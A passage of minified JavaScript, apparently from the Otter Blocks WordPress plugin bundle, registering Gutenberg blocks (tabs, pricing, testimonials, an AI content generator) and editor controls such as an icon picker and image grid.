0!==e?e:0)+1)});v(t,p?.length||0,n,!1)},B={"--title-border-width":(0,h.um)(d("titleBorderWidth")),"--border-width":(0,h.um)((0,h.Yj)(d("borderWidth"))),"--border-color":d("borderColor"),"--title-color":d("titleColor"),"--title-background":d("titleBackgroundColor"),"--tab-color":d("tabColor"),"--active-title-color":d("activeTitleColor"),"--active-title-background":d("activeTitleBackgroundColor"),"--active-title-border-color":d("activeBorderColor"),"--content-text-color":d("contentTextColor"),"--title-padding":(0,h.um)(d("titlePadding")),"--content-padding":(0,h.um)(d("contentPadding")),"--border-side-width":"left"===e.tabsPosition?(0,h.Yw)(d("borderWidth"))?.left:(0,h.Yw)(d("borderWidth"))?.top,"--font-size":(0,h.Yj)(d("titleFontSize"))},M=(0,u.useBlockProps)({id:e.id,style:B,className:c()(e.className,{"has-pos-left":"left"===e.tabsPosition},`is-align-${e.titleAlignment}`)});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Tn,{children:p,setAttributes:t,selectedTab:g,selectTab:x,moveTab:S}),(0,i.createElement)(xn,{attributes:e,setAttributes:t,children:p,deleteTab:e=>{if(0<p?.length){const t=p.find((t=>t.clientId===e));_(t.clientId,!1),g===e&&f("")}},selectTab:x,moveTab:S,addTab:T}),(0,i.createElement)("div",{...M},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs__header"},p?.map(((t,l)=>{var a;return(0,i.createElement)(Mn,{key:t.clientId,tag:e.titleTag,title:null!==(a=t.attributes?.title)&&void 0!==a?a:`${(0,o.__)("Tab","otter-blocks")} ${l+1}`,active:t.clientId===g,onClick:()=>E(t.clientId),onChangeTitle:e=>{(0,m.dispatch)("core/block-editor").updateBlockAttributes(t.clientId,{title:e.replace(/(\r\n|\n|\r|<br>)/gm,"")})}})}))||"",(l||0===p.length)&&(0,i.createElement)(Pn,{clientId:n,addTab:T})),(0,i.createElement)("div",{ref:s,className:"wp-block-themeisle-blocks-tabs__content"},(0,i.createElement)(u.InnerBlocks,{allowedBlocks:["themeisle-blocks/tabs-item"],template:[["themeisle-blocks/tabs-item",{title:(0,o.__)("Tab 1","otter-blocks")},[["core/paragraph",{content:(0,o.__)("This is just a placeholder to help you visualize how the content is displayed in the tabs. Feel free to edit this with your actual content.","otter-blocks")}]]],["themeisle-blocks/tabs-item",{title:(0,o.__)("Tab 2","otter-blocks")},[["core/paragraph",{content:(0,o.__)("This is just a placeholder to help you visualize how the content is displayed in the tabs. Feel free to edit this with your actual content.","otter-blocks")}]]],["themeisle-blocks/tabs-item",{title:(0,o.__)("Tab 3","otter-blocks")},[["core/paragraph",{content:(0,o.__)("This is just a placeholder to help you visualize how the content is displayed in the tabs. Feel free to edit this with your actual content.","otter-blocks")}]]]],orientation:"horizontal",renderAppender:!1}))))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,className:c()(e.className,e.titleAlignment&&`is-align-${e.titleAlignment}`)});return(0,i.createElement)("div",{...t},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs__content"},(0,i.createElement)(u.InnerBlocks.Content,null)))},example:{viewportWidth:1e3,attributes:{},innerBlocks:[]}});var Fn=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/tabs-item","title":"Tab Item","category":"themeisle-blocks","description":"Organize and allow navigation between groups of content with Tabs block. Powered by Otter.","keywords":["media","tab","item"],"parent":["themeisle-blocks/tabs"],"textdomain":"otter-blocks","attributes":{"title":{"type":"string"},"defaultOpen":{"type":"boolean","default":false}}}'),Rn=({attributes:e,setAttributes:t,selectParent:l})=>(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,onClick:()=>l()},(0,o.__)("Back to the Tabs","otter-blocks")),(0,i.createElement)(p.TextControl,{type:"text",label:(0,o.__)("Title","otter-blocks"),placeholder:(0,o.__)("Insert a title","otter-blocks"),onChange:e=>t({title:""===e?void 0:e}),value:e.title})));const{name:Ln}=Fn;(0,a.registerBlockType)(Ln,{...Fn,title:(0,o.__)("Tab Item","otter-blocks"),description:(0,o.__)("Organize and allow navigation between groups of content with Tabs block. Powered by Otter.","otter-blocks"),icon:r.tabsItemIcon,keywords:["media","tab","item"],edit:({attributes:e,setAttributes:t,clientId:l})=>{const a=(0,b.useRef)(null),{parentClientId:n}=(0,m.useSelect)((e=>{const{getBlock:t,getBlockRootClientId:o}=e("core/block-editor");return{parentClientId:t(o(l)).clientId}}),[]),{selectBlock:r}=(0,m.useDispatch)("core/block-editor"),s=(0,u.useBlockProps)({ref:a});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Rn,{attributes:e,setAttributes:t,selectParent:()=>r(n)}),(0,i.createElement)("div",{...s},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Add title…","otter-blocks"),value:e.title,onChange:e=>t({title:e}),className:c()("wp-block-themeisle-blocks-tabs-item__header",{active:!!e.defaultOpen&&e.defaultOpen}),tagName:"div",onClick:()=>{if(a.current){var e;const t=null!==(e=a.current?.parentNode?.querySelectorAll(":scope > .wp-block-themeisle-blocks-tabs-item > .wp-block-themeisle-blocks-tabs-item__header, :scope > .wp-block-themeisle-blocks-tabs-item > .wp-block-themeisle-blocks-tabs-item__content"))&&void 0!==e?e:[];t?.forEach((e=>e?.classList?.remove("active"))),a.current.querySelector(":scope > .wp-block-themeisle-blocks-tabs-item__header")?.classList.add("active"),a.current.querySelector(":scope > .wp-block-themeisle-blocks-tabs-item__content")?.classList.add("active")}},withoutInteractiveFormatting:!0}),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-item__content"},(0,i.createElement)(u.InnerBlocks,{template:[["core/paragraph"]]}))))},save:({attributes:e})=>{const t=u.useBlockProps.save({"data-title":e.title,...e.defaultOpen&&{"data-default-open":e.defaultOpen}});return(0,i.createElement)("div",{...t},(0,i.createElement)(u.RichText.Content,{tagName:"div",className:"wp-block-themeisle-blocks-tabs-item__header",value:e.title||(0,o.__)("Untitled Tab","otter-blocks"),tabIndex:"0"}),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-item__content"},(0,i.createElement)(u.InnerBlocks.Content,null)))}});var On=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/about-author","title":"About Author","category":"themeisle-blocks","description":"About Author block is the easiest way to add a author bio below your posts. Powered by Otter.","keywords":["about","author","profile"],"textdomain":"otter-blocks","supports":{"html":false},"editorStyle":"otter-about-author-editor","style":"otter-about-author-style"}');const{name:In}=On;(0,a.registerBlockType)(In,{...On,title:(0,o.__)("About Author","otter-blocks"),description:(0,o.__)("About Author block is the easiest way to add a author bio below your posts. Powered by Otter.","otter-blocks"),icon:"admin-users",keywords:["about","author","profile"],edit:()=>(0,i.createElement)("div",{...(0,u.useBlockProps)()},(0,i.createElement)(p.Disabled,null,(0,i.createElement)(Ga(),{block:"themeisle-blocks/about-author"}))),save:()=>null,supports:{inserter:Boolean(window.themeisleGutenberg.isLegacyPre59),html:!1},example:{}});var Hn=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/plugin-cards","title":"Plugin Card","category":"themeisle-blocks","description":"Plugin Card block lets you display plugins data in your blog posts. Powered by Otter.","keywords":["plugin","card","orbitfox"],"textdomain":"otter-blocks","attributes":{"slug":{"type":"string"}},"supports":{"html":false,"inserter":false},"style":"otter-plugin-card-style"}');const{name:Nn}=Hn;(0,a.registerBlockType)(Nn,{...Hn,title:(0,o.__)("Plugin Card","otter-blocks"),description:(0,o.__)("Plugin Card block lets you display plugins data in your blog posts. Powered by Otter.","otter-blocks"),icon:"admin-plugins",keywords:["plugin","card","orbitfox"],edit:()=>(0,i.createElement)("div",{...(0,u.useBlockProps)()},(0,i.createElement)(p.Placeholder,null,(0,o.__)("This block has been deprecated. Please switch to a different plugin for a Plugin Card. For the time being, it will keep working on the frontend.","otter-blocks"),(0,i.createElement)("br",null),(0,i.createElement)(p.ExternalLink,{href:"https://wordpress.org/plugins/wp-plugin-info-card/"},(0,o.__)("We recommend WP Plugin Info Card.","otter-blocks")))),save:()=>null});var An=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/pricing","title":"Pricing","category":"themeisle-blocks","description":"Pricing tables are a critical part in showcasing your services, prices and overall offerings. Powered by Otter.","keywords":["pricing","table","money"],"textdomain":"otter-blocks","supports":{"inserter":false}}');const Vn=[["themeisle-blocks/advanced-heading",{content:(0,o.__)("Basic","otter-blocks"),align:"center",tag:"h3",fontSize:24}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("$9.99","otter-blocks"),align:"center",tag:"h4",fontSize:36,fontFamily:"Roboto Slab",fontVariant:"normal"}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("Per Month","otter-blocks"),align:"center",tag:"p",fontSize:12,marginBottom:0}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("First Feature","otter-blocks"),align:"center",tag:"p",fontSize:12,marginBottom:0}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("Second Feature","otter-blocks"),align:"center",tag:"p",fontSize:12,marginBottom:0}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("Last Feature","otter-blocks"),align:"center",tag:"p",fontSize:12,marginBottom:0}],["themeisle-blocks/button-group",{align:"center",buttons:1,data:[{text:(0,o.__)("Buy Now","otter-blocks"),newTab:!1,color:"#ffffff",background:"#32373c",hoverColor:"#ffffff",hoverBackground:"#444a50",borderSize:0,borderRadius:3,boxShadow:!1,boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0,iconType:"none",paddingTopBottom:12,paddingLeftRight:24}]}]];const{name:Dn}=An;(0,a.registerBlockType)(Dn,{...An,title:(0,o.__)("Pricing","otter-blocks"),description:(0,o.__)("Pricing tables are a critical part in showcasing your services, prices and overall offerings. Powered by Otter.","otter-blocks"),keywords:["pricing","table","money"],edit:()=>{const e=(0,u.useBlockProps)();return(0,i.createElement)("div",{...e},(0,i.createElement)(u.InnerBlocks,{template:Vn}))},save:()=>{const e=u.useBlockProps.save();return(0,i.createElement)("div",{...e},(0,i.createElement)(u.InnerBlocks.Content,null))},example:{attributes:{}}});var Gn=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/service","title":"Service","category":"themeisle-blocks","description":"Use this Service block to showcase services your website offers. Powered by Otter.","keywords":["services","icon","features"],"textdomain":"otter-blocks","supports":{"inserter":false}}');const jn=[["themeisle-blocks/font-awesome-icons",{fontSize:62,prefix:"fab",icon:"angellist"}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("Basic","otter-blocks"),align:"center",tag:"h4",marginBottom:20}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("Lorem ipsum dolor sit amet elit do, consectetur adipiscing, sed eiusmod tempor incididunt ut labore et dolore magna aliqua.","otter-blocks"),align:"center",color:"#999999",tag:"p",fontSize:14,marginBottom:20}],["themeisle-blocks/button-group",{align:"center",buttons:1,data:[{text:(0,o.__)("Know More","otter-blocks"),newTab:!1,color:"#ffffff",background:"#32373c",hoverColor:"#ffffff",hoverBackground:"#444a50",borderSize:0,borderRadius:3,boxShadow:!1,boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0,iconType:"none",paddingTopBottom:12,paddingLeftRight:24}]}]];const{name:Wn}=Gn;(0,a.registerBlockType)(Wn,{...Gn,title:(0,o.__)("Service","otter-blocks"),description:(0,o.__)("Use this Service block to showcase services your website offers. Powered by Otter.","otter-blocks"),keywords:["services","icon","features"],edit:()=>{const e=(0,u.useBlockProps)();return(0,i.createElement)("div",{...e},(0,i.createElement)(u.InnerBlocks,{template:jn}))},save:()=>{const e=u.useBlockProps.save();return(0,i.createElement)("div",{...e},(0,i.createElement)(u.InnerBlocks.Content,null))},example:{attributes:{}}});var $n=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/testimonials","title":"Testimonials","category":"themeisle-blocks","description":"Display kudos from customers and clients and display them on your website. Powered by Otter.","keywords":["testimonials","quotes","business"],"textdomain":"otter-blocks","supports":{"inserter":false}}');const Un=[["core/image",{align:"center"}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("John Doe","otter-blocks"),align:"center",fontSize:24,tag:"h3",marginTop:25,marginBottom:10,marginTopTablet:25,marginTopMobile:25}],["themeisle-blocks/advanced-heading",{content:(0,o.__)("Jedi Master","otter-blocks"),align:"center",fontSize:14,tag:"h4",marginTop:10,marginBottom:10}],["themeisle-blocks/advanced-heading",{content:(0,o.__)('"What is the point of being alive if you don’t at least try to do something remarkable?"',"otter-blocks"),align:"center",color:"#999999",tag:"p",fontSize:14,marginTop:10,marginBottom:20}]];const{name:Zn}=$n;(0,a.registerBlockType)(Zn,{...$n,title:(0,o.__)("Testimonials","otter-blocks"),description:(0,o.__)("Display kudos from customers and clients and display them on your website. Powered by Otter.","otter-blocks"),keywords:["testimonials","quotes","business"],edit:()=>{const e=(0,u.useBlockProps)();return(0,i.createElement)("div",{...e},(0,i.createElement)(u.InnerBlocks,{template:Un}))},save:()=>{const e=u.useBlockProps.save();return(0,i.createElement)("div",{...e},(0,i.createElement)(u.InnerBlocks.Content,null))}});var qn=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/content-generator","title":"AI Block (Beta)","category":"themeisle-blocks","description":"Generate content for your block with AI.","keywords":["content","generator","ai","layout"],"textdomain":"otter-blocks","attributes":{"promptID":{"type":"string"},"resultHistory":{"type":"array","default":[]}},"supports":{"align":["wide"]}}'),Yn=({attributes:e,setAttributes:t})=>(0,i.createElement)(u.InspectorControls,null);const{name:Kn}=qn;(0,a.registerBlockType)(Kn,{...qn,icon:r.aiGeneration,keywords:["content","ai","layout"],edit:({attributes:e,setAttributes:t,clientId:l,name:n})=>{const r=(0,u.useBlockProps)(),[s,c]=(0,b.useState)(""),{removeBlock:d,replaceInnerBlocks:g,selectBlock:h,replaceBlocks:k}=(0,m.useDispatch)("core/block-editor"),{hasInnerBlocks:f,getBlocks:v}=(0,m.useSelect)((e=>{const{getBlocks:t}=e("core/block-editor");return{hasInnerBlocks:t?.(l).length,getBlocks:t}}),[l]),_=()=>{const e=v(l);k(l,e)},C=()=>{const e=v(l),t=e=>{if(void 0!==e)return(0,a.createBlock)(e.name,e.attributes,e?.innerBlocks?.filter((e=>e?.name&&e?.attributes))?.map(t))};(0,y.insertBlockBelow)(l,e.map(t))},{blockType:w,defaultVariation:E,variations:x}=(0,m.useSelect)((e=>{const{getBlockVariations:t,getBlockType:l,getDefaultBlockVariation:o}=e("core/blocks");return{blockType:l(n),defaultVariation:o(n,"block"),variations:t(n,"block")}}),[n]),S={form:{title:(0,o.__)("AI Form generator","otter-blocks"),placeholder:(0,o.__)("Start describing what form you need...","otter-blocks"),actions:e=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Button,{variant:"primary",onClick:_,disabled:"loading"===e.status},(0,o.__)("Replace","otter-blocks")),(0,i.createElement)(p.Button,{variant:"secondary",onClick:C,disabled:"loading"===e.status},(0,o.__)("Insert below","otter-blocks")))},textTransformation:{title:(0,o.__)("AI Content generator","otter-blocks"),placeholder:(0,o.__)("Start describing what content you need...","otter-blocks"),actions:e=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Button,{variant:"primary",onClick:_,disabled:"loading"===e.status},(0,o.__)("Replace","otter-blocks")),(0,i.createElement)(p.Button,{variant:"secondary",onClick:C,disabled:"loading"===e.status},(0,o.__)("Insert below","otter-blocks")))},patternsPicker:{title:(0,o.__)("Smart Otter Patterns Picker","otter-blocks"),placeholder:(0,o.__)("Describe what kind of page do you want.","otter-blocks"),actions:e=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Button,{variant:"primary",onClick:_,disabled:"loading"===e.status},(0,o.__)("Replace","otter-blocks")),(0,i.createElement)(p.Button,{variant:"secondary",onClick:C,disabled:"loading"===e.status},(0,o.__)("Insert below","otter-blocks")))}};return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Yn,{attributes:e,setAttributes:t}),(0,i.createElement)("div",{...r},void 0===e.promptID?(0,i.createElement)(u.__experimentalBlockVariationPicker,{icon:(0,A.get)(w,["icon","src"]),label:(0,A.get)(w,["title"]),variations:x,onSelect:(e=E)=>{e&&t(e.attributes),h(l)}}):(0,i.createElement)($t.Z,{promptID:e.promptID,title:S?.[e.promptID]?.title,value:s,onValueChange:c,onPreview:t=>{if("form"===e.promptID){const e=(0,Ut.vb)(t),o=(0,a.createBlock)("themeisle-blocks/form",{},e);g(l,[o])}if("textTransformation"===e.promptID){const e=(0,a.rawHandler)({HTML:t});g(l,e)}if("patternsPicker"===e.promptID){var n;const e=null!==(n=(0,Ut.kh)(t))&&void 0!==n?n:{},r=(0,y.pullOtterPatterns)().filter((t=>e?.slugs?.some((e=>t.name.endsWith(e))))).map((e=>e?.content)).filter(Boolean).join("\n");r||(0,m.dispatch)("core/notices")?.createNotice("info",(0,o.__)("No patterns found for your query.","otter-blocks"),{type:"snackbar",isDismissible:!0,id:"o-no-patterns"});const i=(0,a.rawHandler)({HTML:r});g(l,i)}},actionButtons:S?.[e.promptID]?.actions,onClose:()=>d(l),promptPlaceholder:S?.[e.promptID]?.placeholder,resultHistory:e.resultHistory},f?(0,i.createElement)(p.Disabled,null,(0,i.createElement)(u.InnerBlocks,{renderAppender:!1})):"")))},save:()=>null,variations:[{name:"themeisle-blocks/content-generator-form",description:(0,o.__)("Generate Form with OpenAI.","otter-blocks"),icon:r.formAiGeneration,title:(0,o.__)("Form Generator","otter-blocks"),scope:["block"],attributes:{promptID:"form"}},{name:"themeisle-blocks/content-generator-content",description:(0,o.__)("Generate new content with OpenAI.","otter-blocks"),icon:(0,r.contentAiGenerationIcon)(),title:(0,o.__)("Content Generator","otter-blocks"),scope:["block"],attributes:{promptID:"textTransformation"}},{name:"themeisle-blocks/content-generator-layout",description:(0,o.__)("Use AI to pick Otter patterns that fits your needs.","otter-blocks"),icon:(0,r.aiLayoutGeneratorIcon)(),title:(0,o.__)("Layout Generator","otter-blocks"),scope:["block"],attributes:{promptID:"patternsPicker"}}]})},2136:function(e,t,l){var o=l(9196),a=l(3967),n=l.n(a),r=l(1984),i=l(7968),s=l(9522),c=l(5736),d=l(5609),u=l(4333),b=l(9307);const m=({label:e,attributes:t,setAttributes:l,resetValues:a,onClick:p,children:g})=>{(0,b.useEffect)((()=>{for(const e in a){if(a[e]!==t[e])return y(!0);y(!1)}}),[t]);const h=(0,u.useInstanceId)(m),[k,y]=(0,b.useState)(!1),f=`inspector-control-panel-control-${h}`;return(0,o.createElement)("div",{className:"o-control-panel-control"},(0,o.createElement)("div",{className:"components-base-control__field"},(0,o.createElement)("div",{className:"components-base-control__title"},(0,o.createElement)("label",{className:"components-base-control__label",htmlFor:f},e),(0,o.createElement)("div",{className:"floating-controls"},(0,o.createElement)(d.Dropdown,{position:"top left",headerTitle:e,expandOnMobile:!0,renderToggle:({isOpen:t,onToggle:u})=>(0,o.createElement)(b.Fragment,null,k&&(0,o.createElement)(d.Button,{icon:(0,o.createElement)(r.Z,{icon:i.Z}),label:(0,c.__)("Reset to default","otter-blocks"),showTooltip:!0,isTertiary:!0,onClick:()=>l({...a})}),(0,o.createElement)(d.Button,{id:f,icon:s.Z,label:e,showTooltip:!0,onClick:()=>{u(),p&&p()},"aria-expanded":t,className:n()({"is-active":k})})),renderContent:()=>(0,o.createElement)("div",{className:"otter-popover-settings"},g)})))))};t.Z=m},1070:function(e,t,l){l.d(t,{l:function(){return h}});var o=l(9196),a=l(3967),n=l.n(a),r=l(5736),i=l(2175),s=l(4333),c=l(5609),d=l(9307),u=l(7231),b=l(4824),m=l(48);const p=({i:e,icon:t,prefix:l,onToggle:a})=>(0,o.createElement)(c.MenuItem,{label:e.label,className:n()({"is-selected":e.name===t&&e.prefix===l}),onClick:a},(0,o.createElement)("i",{className:n()(e.prefix,`fa-${e.name}`,"fa-fw")}),e.name),g=({label:e,library:t,prefix:l,icon:a,changeLibrary:h,onChange:k,allowImage:y=!1,allowThemeisleIcons:f=!0})=>{const v=(0,s.useInstanceId)(g);(0,d.useEffect)((()=>{const e=[];Object.keys(b).forEach((t=>{Object.keys(b[t].styles).forEach((l=>{let o="";switch(b[t].styles[l]){case"brands":o="fab";break;case"solid":default:o="fas";break;case"regular":o="far"}e.push({name:t,unicode:b[t].unicode,prefix:o,label:b[t].label})}))})),S(e)}),[]);const[_,C]=(0,d.useState)(!1);(0,d.useEffect)((()=>{if("image"===t)try{const e=new URL(a);"http:"!==e?.protocol&&"https:"!==e?.protocol||C(!0)}catch(e){C(!1)}}),[t,a]);const[w,E]=(0,d.useState)(""),[x,S]=(0,d.useState)(null),T="fontawesome"===t?x:m.ZP.iconsList,B=`inspector-icon-picker-control-${v}`,M=({itemIcon:e=a})=>{const t=m.ZP.icons[e];return t?(0,o.createElement)(d.Fragment,null,(0,o.createElement)(t,null),e):(0,o.createElement)(d.Fragment,null,(0,r.__)("Select Icon","otter-blocks"))},P=({i:e,onToggle:t})=>(0,o.createElement)(c.MenuItem,{label:e,className:n()({"is-selected":e===a}),onClick:()=>{t(),k(e)}},(0,o.createElement)(M,{itemIcon:e}));return(0,o.createElement)(c.BaseControl,{id:B,className:"o-icon-picker-control"},(0,o.createElement)(c.Dropdown,{contentClassName:"o-icon-picker-popover",position:"bottom left",renderToggle:({isOpen:s,onToggle:u})=>(0,o.createElement)(d.Fragment,null,(f||y)&&(0,o.createElement)(c.SelectControl,{label:(0,r.__)("Icon Library","otter-blocks"),value:t,options:[{label:(0,r.__)("Font Awesome","otter-blocks"),value:"fontawesome"},...f?[{label:(0,r.__)("ThemeIsle Icons","otter-blocks"),value:"themeisle-icons"}]:[],...y?[{label:(0,r.__)("Custom Image","otter-blocks"),value:"image"}]:[]],onChange:h}),"image"!==t?(0,o.createElement)(c.BaseControl,{label:e},(0,o.createElement)(c.Button,{className:"o-icon-picker-button",onClick:u,"aria-expanded":s},a?(0,o.createElement)(d.Fragment,null,"fontawesome"===t&&(l?(0,o.createElement)(d.Fragment,null,(0,o.createElement)("i",{className:n()(l,`fa-${a}`,"fa-fw")}),a):(0,r.__)("Select Icon","otter-blocks")),"themeisle-icons"===t&&(0,o.createElement)(M,null)):(0,r.__)("Select Icon","otter-blocks"))):(0,o.createElement)(d.Fragment,null,a&&(0,o.createElement)(c.BaseControl,{label:(0,r.__)("Image","otter-blocks"),className:"o-icon-picker-image-control"},(0,o.createElement)("div",{style:{width:"100%",padding:"5px",display:"flex",flexDirection:"column",alignItems:"flex-start",gap:"5px"}},_?(0,o.createElement)("img",{src:a,width:"130px"}):(0,o.createElement)("span",null,(0,r.__)("Please select an image.","otter-blocks")))),(0,o.createElement)(i.MediaPlaceholder,{labels:{title:(0,r.__)("Image","otter-blocks")},accept:"image/*",allowedTypes:["image"],value:a,onSelect:k}))),renderContent:({onToggle:e})=>"image"===t?(0,o.createElement)(d.Fragment,null):(0,o.createElement)(c.MenuGroup,{label:"fontawesome"===t?(0,r.__)("Font Awesome Icons","otter-blocks"):(0,r.__)("ThemeIsle Icons","otter-blocks"),style:{paddingBottom:"0px"}},(0,o.createElement)(c.TextControl,{value:w,onChange:e=>E(e)}),(0,o.createElement)("div",{className:"components-popover__items"},T.map(((n,r)=>"fontawesome"!==t||w&&!n.name.match(w.toLowerCase())&&!n.label.toLowerCase().match(w.toLowerCase())?"themeisle-icons"!==t||w&&!n.toLowerCase().match(w.toLowerCase())?void 0:(0,o.createElement)(P,{i:n,key:r,onToggle:e}):(0,o.createElement)(p,{i:n,key:r,icon:a,prefix:l,onToggle:()=>{e(),k({name:n.name,prefix:n.prefix})}})))),(0,o.createElement)("div",{style:{display:"flex",justifyContent:"flex-end",position:"absolute",top:"11px",right:"5px"}},(0,o.createElement)(c.Button,{onClick:e,icon:u.Z})))}))},h=({label:e,classes:t,setAttributes:l})=>{(0,d.useEffect)((()=>{const e=[];if(Object.keys(b).forEach((t=>{Object.keys(b[t].styles).forEach((l=>{let o="";switch(b[t].styles[l]){case"brands":o="fab";break;case"solid":default:o="fas";break;case"regular":o="far"}e.push({name:t,unicode:b[t].unicode,prefix:o,label:b[t].label})}))})),u(e),t){const e=t.split(" "),l=e.find((e=>e.includes("fab")||e.includes("far")||e.includes("fas")))||"fas",o=e.find((e=>e.includes("fa-")));o&&(g(l),k(o))}}),[]);const[a,i]=(0,d.useState)(""),[s,u]=(0,d.useState)(null),[m,g]=(0,d.useState)(""),[h,k]=(0,d.useState)("");return(0,o.createElement)(c.ToolbarGroup,null,(0,o.createElement)(c.Dropdown,{contentClassName:"o-icon-picker-popover",position:"bottom center",renderToggle:({isOpen:e,onToggle:t})=>(0,o.createElement)(c.ToolbarButton,{label:(0,r.__)("Menu Icons","otter-blocks"),className:"o-icon-picker-toolbar-button",showTooltip:!0,onClick:t},m&&h?(0,o.createElement)("i",{className:n()(m,h,"fa-fw")}):(0,o.createElement)("i",{className:"fas fa-icons fa-fw"})),renderContent:({onToggle:n})=>(0,o.createElement)(c.MenuGroup,{label:e},(0,o.createElement)(c.TextControl,{value:a,onChange:e=>i(e)}),(0,o.createElement)("div",{className:"components-popover__items"},h&&m&&!a&&(0,o.createElement)(c.MenuItem,{label:(0,r.__)("None","otter-blocks"),showTooltip:!0,onClick:()=>(e=>{e();let o=t?t.split(" "):[];o.splice(o.indexOf(m),1),o.splice(o.indexOf(h),1),o=o.join(" "),l({className:o}),g(""),k("")})(n)},(0,o.createElement)("i",{className:"fas fa-times fa-fw remove-icon"}),(0,r.__)("Remove Icon","otter-blocks")),s.map((e=>{if(!a||e.name.match(a.toLowerCase())||e.label.toLowerCase().match(a.toLowerCase()))return(0,o.createElement)(p,{i:e,icon:h,prefix:m,onToggle:()=>((e,o)=>{e();let a=t?t.split(" "):[];a.splice(a.indexOf(m),1),a.splice(a.indexOf(h),1),a.push(o.prefix,`fa-${o.name}`),a=a.join(" "),l({className:a}),g(o.prefix),k(`fa-${o.name}`)})(n,e)})}))))}))};t.Z=g},2285:function(e,t,l){l.d(t,{Z:function(){return f}});var o=l(9196),a=l(2819),n=l(2175),r=l(454),i=l.n(r),s=l(3967),c=l.n(s),d=l(9307),u=l(7245),b=l(1984),m=l(5117),p=l(5736),g=l(5609),h=(0,u.W8)((({value:e,selected:t,dragging:l,sorting:a,selectedItemsCount:n,onClick:r})=>{const i=l&&1<n;return(0,o.createElement)(g.Button,{className:c()("o-images-grid-component__image",{"is-selected":t,"is-sorting":t&&a}),onClick:()=>r(e),style:{backgroundImage:`url( ' ${e.url} ' )`}},i&&(0,o.createElement)("div",{className:"o-images-grid-component__image__count"},n))})),k=(0,u.JN)((({items:e,className:t,onItemSelect:l,selectedItems:a,isSorting:n,sortingItemKey:r,open:i,ref:s})=>(0,o.createElement)("div",{className:t,tabIndex:"0",ref:s},e.map(((e,t)=>{const i=a.includes(e),s=r===e;return(0,o.createElement)(h,{key:`image-${e.id}`,index:t,value:e,selected:i,dragging:s,sorting:n,selectedItemsCount:a.length,onClick:l})})),(0,o.createElement)(g.Button,{label:(0,p.__)("Add Images","otter-blocks"),icon:(0,o.createElement)(b.Z,{icon:m.Z}),isPrimary:!0,onClick:i})))),y=({attributes:e,onSelectImages:t,open:l})=>{const[a,n]=(0,d.useState)([]),[r,s]=(0,d.useState)(!1),[u,b]=(0,d.useState)(null),m=(0,d.useRef)(null);return(0,o.createElement)(k,{className:c()("o-images-grid-component",{"is-single":1===e.images.length}),open:l,items:e.images,onItemSelect:e=>{let t;t=a.includes(e)?a.filter((t=>t!==e)):[...a,e],n(t)},selectedItems:a,isSorting:r,sortingItemKey:u,shouldCancelStart:t=>{if(!t.target.sortableInfo)return!1;const l=e.images[t.target.sortableInfo.index];return!!a.length&&!a.includes(l)},updateBeforeSortStart:({index:t})=>new Promise((l=>{s(!0),b(e.images[t]),l()})),onSortEnd:({oldIndex:l,newIndex:o})=>{let r=i()(e.images,l,o);a.length&&(r=[...r.slice(0,o).filter((e=>!a.includes(e))),...a,...r.slice(o,r.length).filter((e=>!a.includes(e)))]),s(!1),b(null),n([]),t(r),document.querySelectorAll(".o-images-grid-component__image").forEach((e=>{m.current?.container.contains?.(e)||(e.style.display="none",setTimeout((()=>{e.remove()}),250))}))},distance:3,axis:"xy",ref:m})},f=({attributes:e,onSelectImages:t})=>{const l=(0,a.debounce)(t,250);return(0,o.createElement)(n.MediaUploadCheck,null,(0,o.createElement)(n.MediaUpload,{onSelect:l,allowedTypes:["image"],multiple:!0,addToGallery:!0,gallery:!0,value:e.images.map((({id:e})=>e)),render:({open:l})=>(0,o.createElement)(y,{attributes:e,open:l,onSelectImages:t})}))}},8189:function(e,t,l){l.d(t,{RF:function(){return y},Zo:function(){return k},I7:function(){return f},jj:function(){return C},Lp:function(){return w},Cd:function(){return x},Ed:function(){return S},Fi:function(){return p.Z},o2:function(){return z},pO:function(){return R},m3:function(){return L.Z},Ec:function(){return O.Z},p:function(){return o.p},Hn:function(){return I},Rc:function(){return H.Z},qX:function(){return a.Z},qL:function(){return N},n9:function(){return 